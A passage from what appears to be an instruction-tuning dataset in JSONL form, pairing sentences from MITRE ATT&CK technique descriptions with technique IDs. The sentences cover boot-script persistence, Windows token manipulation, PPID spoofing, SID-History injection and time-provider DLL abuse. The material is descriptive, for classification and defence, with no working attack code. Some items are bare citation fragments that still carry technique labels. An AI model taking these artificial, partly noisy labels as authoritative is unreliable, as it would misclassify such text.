"T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can vary based on operating system and whether applied locally or remotely. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files allow system administrators to map and start custom services at startup for different run levels.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files allow system administrators to map and start custom services at startup for different run levels. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RC scripts require root privileges to modify.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RC scripts require root privileges to modify. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation:", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Intezer HiddenWasp Map 2019)", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Intezer HiddenWasp Map 2019) ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon reboot, the system executes the script's contents as root, resulting in persistence.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon reboot, the system executes the script's contents as root, resulting in persistence. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items)", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, this may be useful for when the target user has a non-network logon session on the system.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, this may be useful for when the target user has a non-network logon session on the system. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.", "output": "T1134.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one. ### Response: T1134.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges.", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "New processes are typically spawned directly from their parent, or calling, process unless explicitly specified.", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation:", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft UAC Nov 2018)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft UAC Nov 2018) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation:", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process.", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "output": "T1134.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) ### Response: T1134.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use SID-History Injection to escalate privileges and bypass access controls. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows security identifier (SID) is a unique value that identifies a user or group account.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows security identifier (SID) is a unique value that identifies a user or group account. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SIDs are used by Windows security in both security descriptors and access tokens.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SIDs are used by Windows security in both security descriptors and access tokens. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft SID)", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft SID) ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "output": "T1134.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process. ### Response: T1134.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows uses access tokens to determine the ownership of a running process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows uses access tokens to determine the ownership of a running process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this occurs, the process also takes on the security context associated with the new token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this occurs, the process also takes on the security context associated with the new token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary must already be in a privileged user context (i.e. administrator) to steal a token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary must already be in a privileged user context (i.e. administrator) to steal a token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Time service (W32Time) enables time synchronization across and within domains.", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Time service (W32Time) enables time synchronization across and within domains. ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft W32Time Feb 2018)", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft W32Time Feb 2018) ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TimeProvider)", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TimeProvider) ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TimeProvider)", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TimeProvider) ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider.", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Github W32Time", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Github W32Time ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oct 2017)", "output": "T1209", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oct 2017) ### Response: T1209."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target 